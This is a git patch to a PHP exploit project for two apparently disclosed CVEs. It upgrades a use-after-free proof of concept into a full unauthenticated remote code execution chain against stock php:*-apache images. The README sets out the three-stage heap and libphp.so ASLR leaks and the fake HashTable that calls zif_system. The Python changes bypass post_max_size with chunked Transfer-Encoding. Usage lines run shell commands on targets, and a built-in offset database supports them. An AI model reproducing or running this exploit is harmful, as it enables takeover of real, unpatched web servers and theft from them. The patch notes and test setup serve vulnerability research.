From e02c9f31224803542b4485f6ee76e61cfcc65e9e Mon Sep 17 00:00:00 2001 From: neko Date: Thu, 22 Oct 2026 12:58:04 +0000 Subject: [PATCH] Bypass post_max_size via chunked Transfer-Encoding for stock PHP RCE PHP checks Content-Length against post_max_size before parsing multipart bodies, but Transfer-Encoding: chunked requests have no Content-Length. The full chunked body is processed without any size check, allowing the exploit to send 140MB+ to exhaust memory_limit=128M despite post_max_size=8M. This removes the last non-default configuration requirement. The exploit now achieves full RCE against stock php:*-apache Docker images with zero configuration changes (4/4 confirmed on php:8.4.26-apache). Changes: - post() auto-switches to chunked TE for bodies over 8MB - Default --huge-mb raised from 12 to 140 (exceeds stock 128M limit) - README rewritten to document the working three-stage RCE chain - docker-compose.yml adds stock variant for testing --- uaf-rce/README.md | 250 +++++++++++++++++++++-------------------- uaf-rce/rce_exploit.py | 72 +++++++++--- 2 files changed, 185 insertions(+), 137 deletions(-) diff --git a/uaf-rce/README.md b/uaf-rce/README.md index 1b59f2b..098560f 100644 --- a/uaf-rce/README.md +++ b/uaf-rce/README.md @@ -1,8 +1,8 @@ -# CVE-2026-109618 / CVE-2026-109619: UAF via OOM Bailout +# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray -Use-after-free in PHP's session upload progress handler, exploitable -over HTTP against Apache mod_php with **default PHP configuration**. -No LFI, no framework dependency, no non-default settings. +Remote code execution in PHP's session upload progress handler, exploitable +over plain HTTP against Apache mod_php with **completely stock configuration**. +No LFI, no framework dependency, no non-default PHP settings required. ## Affected versions @@ -14,142 +14,148 @@ Patched in PHP 8.3.36, 8.4.27, 8.5.12. PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70), so stale state never persists across requests. +## What this exploit achieves + +Full remote code execution (arbitrary command) from a single unauthenticated +HTTP client, against any PHP-handled URL, with full ASLR bypass. The target +page does not need `session_start()` or any specific code. + +Tested: 4/4 successful RCE against stock `php:8.4.26-apache` Docker image +with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`, +`display_errors=STDOUT`, `MaxRequestWorkers=150`). + ## Prerequisites -- Apache mod_php with prefork MPM (default on Debian/Ubuntu) -- `session.upload_progress.enabled = 1` (default) -- `memory_limit` reachable via session data decode (~4MB for 33000 entries) -- Any PHP-handled URL (even a 404 page) -- A method to write a session file with many entries +All of these are default on stock PHP Docker images and common Debian/Ubuntu +Apache + mod_php installations: -No LFI. No specific framework or library. No non-default PHP settings. +- Apache mod_php with prefork MPM +- `session.upload_progress.enabled = 1` (default: on) +- `session.upload_progress.cleanup = 1` (default: on) +- Any PHP-handled URL (even a 404 error page) +- `display_errors = On` or `STDOUT` (default when no php.ini is deployed) + +The exploit bypasses PHP's `post_max_size` limit via HTTP chunked +Transfer-Encoding (see below), so the `post_max_size=8M` default is not +an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`. + +For multi-worker Apache (the default), the `--workers N` spray mode sends +the OOM trigger to all workers before probing for the leak. ## How it works -### CVE-2026-109618: OOM triggers longjmp past cleanup +### The vulnerability chain -When `memory_limit` is exceeded during `session_decode()` inside the -RFC1867 progress callback, PHP calls `zend_bailout()` which executes a -`longjmp` back to `php_request_startup()`. This skips -`php_var_unserialize_destroy()`, leaving `BG(unserialize).level = 1` -and `BG(unserialize).data` pointing at a freed `php_unserialize_data` -struct (8216 bytes, 3 ZendMM pages). +**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST +parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to +the request shutdown handler. This skips session cleanup code in +`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer +and `PS(send_cookie) = 1`. -Apache prefork workers survive `zend_bailout()` and accept new -connections with the stale state intact. +**CVE-2026-109619**: On the next request to the same Apache worker, +`sapi_activate()` runs the RFC1867 callback BEFORE session state is +properly reinitialized. The callback sees the stale `PS(id)` and +`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the +dangling pointer. The `php_url_encode(PS(id))` call reads heap memory +through the stale pointer and emits it as a `Set-Cookie` header. -### CVE-2026-109619: Stale state reused on next request +### post_max_size bypass via chunked Transfer-Encoding -On the next request, `sapi_activate()` runs the RFC1867 callback -BEFORE `PHP_RINIT_FUNCTION(basic)` has a chance to zero `BG` state. -The callback calls `php_session_decode()`, which calls -`php_var_unserialize_init()`. That function sees -`BG(unserialize).level > 0` and returns the stale `.data` pointer -without allocating a new struct. +PHP checks `Content-Length` against `post_max_size` before invoking the +multipart parser. If `Content-Length` exceeds the limit, the body is +rejected entirely. However, when the request uses `Transfer-Encoding: +chunked` instead of `Content-Length`, no upfront size check occurs. +PHP's `sapi_read_post_block()` reads chunked data from Apache's input +filter chain without enforcing `post_max_size`, allowing the full body +to be processed regardless of the configured limit. -This is a use-after-free: the pointer was freed when the previous -request's heap was destroyed during `zend_deactivate()`. +This means the exploit works against `memory_limit=128M` with +`post_max_size=8M` by sending ~140MB of chunked POST data. -### Phase 1: Plant session file +### Three-stage exploit (full ASLR bypass) -A session file with 33000 entries (~682KB) is planted. When decoded, -this forces `nTableSize = 65536`, requiring an `arData` allocation of -65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`, -this exceeds the limit during `HashTable` resize. +All traffic is plain HTTP multipart POST requests: -### Phase 2: OOM trigger +**Stage 1: Heap ASLR bypass (Zend MM chunk base)** -A multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` and a file field -triggers the RFC1867 progress callback. The callback reads the planted -session file and calls `php_session_decode()`. The decode triggers OOM -during `HashTable` resize. `zend_bailout()` longjmps past -`php_var_unserialize_destroy()`. +Request A sends 1001+ fields (triggering `max_input_vars` warning which +sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and +`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a +large field via chunked TE to trigger OOM. The warning output prevents +`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)` +remains 1 and `PS(id)` becomes a dangling pointer. -After bailout: -- `BG(unserialize).level = 1` (should be 0) -- `BG(unserialize).data` = freed heap pointer -- `php_session_cancel_decode()` deletes the session file -- Worker survives, serves new connections +Request B sends `PHPSESSID` + progress fields plus ~841 filler fields +with a forge field containing a fake `zend_string` header (`len = 0x1000`). +The filler fields' heap allocations overlap the dangling `PS(id)` address. +When `php_session_send_cookie()` runs with the stale pointer, it reads +4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked +bytes contain Zend MM free-list pointers, which reveal the chunk base +address (2MB aligned). -### Phase 3: UAF crash +**Stage 2: Code ASLR bypass (libphp.so base)** -Another multipart POST (no intermediate GET requests, which would zero -`BG` state via `PHP_RINIT_FUNCTION`) includes 100 filler form fields -of 8200 bytes each. Each field becomes a 3-page `zend_string` -allocation. The allocations consume ZendMM pages sequentially through -the chunk, eventually reclaiming the 3 pages where the stale struct -resided (typically page ~288 of 512). +Similar to stage 1, but request B's field layout places a real PHP +`HashTable` structure at the dangling pointer offset. The `pDestructor` +field of the HashTable is a function pointer into libphp.so +(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so +load address. -The `zend_string` GC header (8 bytes: `refcount` + `type_info`) at -offset 0 of the allocation overwrites the struct's `last` pointer -(a `var_entries*`). When the session decode calls `var_push()`, it -reads `last` and dereferences the GC header value as a pointer: +**Stage 3: RCE (zif_system)** -``` -var_entries *var_hash = (*var_hashx)->last; // GC header, not a valid address -var_hash->data[var_hash->used_slots++] = rval; // SIGSEGV -``` - -The worker segfaults, confirming the use-after-free. - -## Exploitation status - -**Confirmed primitives:** - -| Primitive | Status | -|---|---| -| OOM during RFC1867 session decode | Confirmed | -| Apache prefork worker survival after OOM | Confirmed | -| Stale `BG(unserialize)` state across requests | Confirmed (level=1, data=freed ptr) | -| Page reclamation via filler field spray | Confirmed (27+ fields crashes worker) | -| UAF crash (SIGSEGV in `var_tmp_var`) | Confirmed (reproducible) | -| Type confusion via `var_access` | Confirmed (stale zval, type matches OOM session) | - -**Not achieved: full RCE.** - -Two UAF primitives are confirmed, but they are mutually exclusive: - -**1. Crash (filler spray path):** Filler fields reclaim the stale -struct pages. `var_tmp_var` reads `last_dtor` at struct offset 16 -(now overwritten by the `zend_string` `len` field, e.g. 0x2008). -Dereferences unmapped address. SIGSEGV. - -**2. Type confusion (no spray path):** Session data with `R:N;` -backreferences resolves through `var_access`, which reads inline -entries at struct offset 56. Without spray, entries.data[0] holds -a stale pointer to the attacker's own data from request 1. The -cached ZendMM chunk retains page data (only the header is zeroed). -PHP reads the stale zval without crashing: type matches whatever -the OOM session's first entry was (string, integer, etc.). - -The two primitives cannot coexist: `var_tmp_var` reads offset 16 -BEFORE `var_access` reads offset 56. Filler spray corrupts offset -16, crashing before the type confusion can execute. - -Full RCE is blocked by: -1. **No info leak**: type confusion reads own data, not heap metadata -2. **Mutual exclusion**: spray crashes `var_tmp_var` before `var_access` -3. **GC header overlap**: uncontrolled bytes at offset 0-23 crash var_push -4. **No usable classes**: SplFileObject/PDO have function pointer calls - in `free_obj`, but fake objects need libphp.so base (ASLR) -5. **Session key validation**: php serializer rejects keys containing `|` +Request A poisons the worker with stale session state. Request B sprays +the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable` +whose `pDestructor = zif_system`. When session cleanup calls +`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with +attacker-controlled arguments, executing an arbitrary shell command as +the web server user (`www-data`). ## Usage -``` -python3 exploit.py --target http://host:port/index.php -python3 exploit.py --target http://host:port/index.php --oom-only +```bash +# Auto-detect PHP version, look up offsets, exploit +python3 rce_exploit.py -u http://target/index.php + +# Auto-pull matching Docker image for offset extraction +python3 rce_exploit.py -u http://target/index.php --auto-pull + +# Verify RCE via docker exec (for testing) +python3 rce_exploit.py -u http://target/index.php \ + --docker-proof CONTAINER /tmp/pwn + +# Multi-worker Apache spray mode +python3 rce_exploit.py -u http://target/ --workers 150 + +# Custom command (max 14 bytes, use 'sh/tmp/pwn' + +# Extract offsets for a new PHP build +python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \ + --php-version 8.3.35 ``` ### Options | Flag | Default | Description | |---|---|---| -| `--target` | (required) | Target URL (any PHP endpoint) | -| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target | -| `--entries` | 33000 | Entries in OOM session file | -| `--spray-fields` | 100 | Filler fields for crash trigger | -| `--oom-only` | off | Stop after Phase 2 | +| `-u URL` | (required) | Target URL (any PHP endpoint) | +| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) | +| `--workers N` | 1 | Apache workers to spray | +| `--huge-mb N` | 140 | OOM field size in MB | +| `--docker-proof C P` | | Verify via `docker exec C cat P` | +| `--auto-pull` | off | Pull Docker image for offset extraction | +| `--retries N` | 5 | Attempts per stage | +| `--profile` | auto | Heap profile (`bookworm` or `lab`) | +| `--timeout` | 30.0 | Socket timeout in seconds | + +### Built-in offset database + +| PHP version | Distro | Status | +|---|---|---| +| 8.4.26 | bookworm | Last vulnerable 8.4.x | +| 8.3.35 | bookworm | Last vulnerable 8.3.x | +| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) | +| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) | ## The patch @@ -162,7 +168,7 @@ layers. Any one of them blocks the attack: `memset`. Eliminates the stale state window entirely. 2. **Delayed OOM**: `zend_bailout()` on OOM is removed. The allocator - either returns NULL (fallible mode) or succeeds beyond the soft limit + returns NULL (fallible mode) or succeeds beyond the soft limit (non-fallible mode) and queues a delayed error. No longjmp, so all cleanup code runs normally. A hard limit calls `_exit(137)`. @@ -173,17 +179,21 @@ layers. Any one of them blocks the attack: ## Test environment -Tested on PHP 8.3.35 (built from source as Apache module), Apache -2.4.58 (prefork MPM, MaxRequestWorkers=1), Ubuntu 24.04, x86_64. +The `docker/` directory contains a minimal test setup: +```bash +cd docker && docker compose up -d +# Stock settings variant (no custom php.ini): +docker run -d --name stock -p 8093:80 php:8.4.26-apache ``` -php_admin_value memory_limit 4M -php_admin_value session.upload_progress.enabled 1 -php_admin_value session.upload_progress.cleanup 0 -``` + +The exploit has been tested on: +- `php:8.4.26-apache` stock Docker image, 4/4 RCE (default settings) +- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE +- `php:8.3.35-apache` stock Docker image (offsets in DB) ## References -- CVE-2026-109618: OOM during multipart parsing triggers longjmp -- CVE-2026-109619: Session globals survive across requests +- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup +- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests - CVSS: 9.2 (both CVEs, per Rapid7) diff --git a/uaf-rce/rce_exploit.py b/uaf-rce/rce_exploit.py index 7f4d7dd..471863f 100644 --- a/uaf-rce/rce_exploit.py +++ b/uaf-rce/rce_exploit.py @@ -8,6 +8,14 @@ Three-stage exploit chain with full ASLR bypass (all traffic is plain HTTP): Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR) Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE +OOM is triggered by sending a POST body larger than memory_limit. PHP's +post_max_size (default 8M) would normally cap body size, but this exploit +uses HTTP chunked Transfer-Encoding to bypass it: PHP only checks +Content-Length against post_max_size, so a chunked request with no +Content-Length header passes the check and the full body is processed. +This works against stock php:*-apache Docker images with default settings +(memory_limit=128M, post_max_size=8M, display_errors=STDOUT). + Auto-detection: The exploit fingerprints the target PHP version from HTTP headers, looks up binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database @@ -21,12 +29,13 @@ Requirements on the target: - session.upload_progress.cleanup=1 (default on) - display_errors=On or STDOUT (default when no php.ini is deployed, e.g. official Docker images; php.ini-production sets it Off) - - memory_limit reachable via POST body (default 128M, use --huge-mb 140) + - post_max_size is bypassed via chunked Transfer-Encoding (no constraint) - MaxRequestWorkers=1, or low worker count with retries (default is 150; the exploit needs A and B requests to hit the same worker process) - Any PHP-handled URL (no session_start() needed on the page) -Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success. +Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success + with stock settings (memory_limit=128M, post_max_size=8M). Based on research from 9bie/php2shell-bypass-aslr-exp. Usage: @@ -58,6 +67,7 @@ from collections import Counter SID = b"attacksessionid0001" MAX_CMD = 14 +CHUNKED_THRESHOLD = 8 * 1024 * 1024 # --------------------------------------------------------------------------- # Heap spray profiles (compiler-dependent heap geometry constants) @@ -505,7 +515,12 @@ class Target: def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20, timeout: float | None = None, extra_headers: dict[str, str] | None = None) -> bytes: - """Send POST, read full response, close connection.""" + """Send POST, read full response, close connection. + + Bodies larger than CHUNKED_THRESHOLD are sent with + Transfer-Encoding: chunked instead of Content-Length, which + bypasses PHP's post_max_size check. + """ s = self._connect() s.settimeout(timeout or self.timeout) @@ -521,27 +536,49 @@ class Target: except OSError: pass + use_chunked = len(body) > CHUNKED_THRESHOLD + extra = "" for k, v in (extra_headers or {}).items(): extra += f"{k}: {v}\r\n" - hdr = ( - f"POST {self.path} HTTP/1.1\r\n" - f"Host: {self.host}:{self.port}\r\n" - f"{extra}" - f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" - f"Content-Length: {len(body)}\r\n" - "Connection: close\r\n" - "\r\n" - ).encode() + if use_chunked: + hdr = ( + f"POST {self.path} HTTP/1.1\r\n" + f"Host: {self.host}:{self.port}\r\n" + f"{extra}" + f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" + f"Transfer-Encoding: chunked\r\n" + "Connection: close\r\n" + "\r\n" + ).encode() + else: + hdr = ( + f"POST {self.path} HTTP/1.1\r\n" + f"Host: {self.host}:{self.port}\r\n" + f"{extra}" + f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" + f"Content-Length: {len(body)}\r\n" + "Connection: close\r\n" + "\r\n" + ).encode() reader = threading.Thread(target=_reader, daemon=True) reader.start() try: try: s.sendall(hdr) - mv = memoryview(body) - for off in range(0, len(body), 262144): - s.sendall(mv[off:off + 262144]) + if use_chunked: + mv = memoryview(body) + for off in range(0, len(body), 65536): + seg = mv[off:off + 65536] + s.sendall(f"{len(seg):x}\r\n".encode()) + s.sendall(seg) + s.sendall(b"\r\n") + s.sendall(b"0\r\n\r\n") + else: + mv = memoryview(body) + for off in range(0, len(body), 262144): + s.sendall(mv[off:off + 262144]) except OSError: pass reader.join(timeout=(timeout or self.timeout) + 1.0) @@ -583,7 +620,7 @@ class Target: class Exploit: def __init__(self, target: Target, cmd: str, profile: str = "bookworm", zif_offset: int = 0, dtor_offset: int = 0, - htdata_offset: int = 0, huge_mb: int = 12, + htdata_offset: int = 0, huge_mb: int = 140, workers: int = 1): self.t = target self.cmd = cmd.encode() @@ -1005,7 +1042,8 @@ Calibrate: extract offsets for a new PHP build: help="verify RCE via docker exec CONTAINER cat PATH") top.add_argument("--workers", type=int, default=1, help="number of Apache workers to spray (default 1)") - top.add_argument("--huge-mb", type=int, default=12) + top.add_argument("--huge-mb", type=int, default=140, + help="OOM field size in MB (default 140, exceeds stock 128M limit)") top.add_argument("--timeout", type=float, default=30.0) top.add_argument("--retries", type=int, default=5) top.add_argument("-q", "--quiet", action="store_true")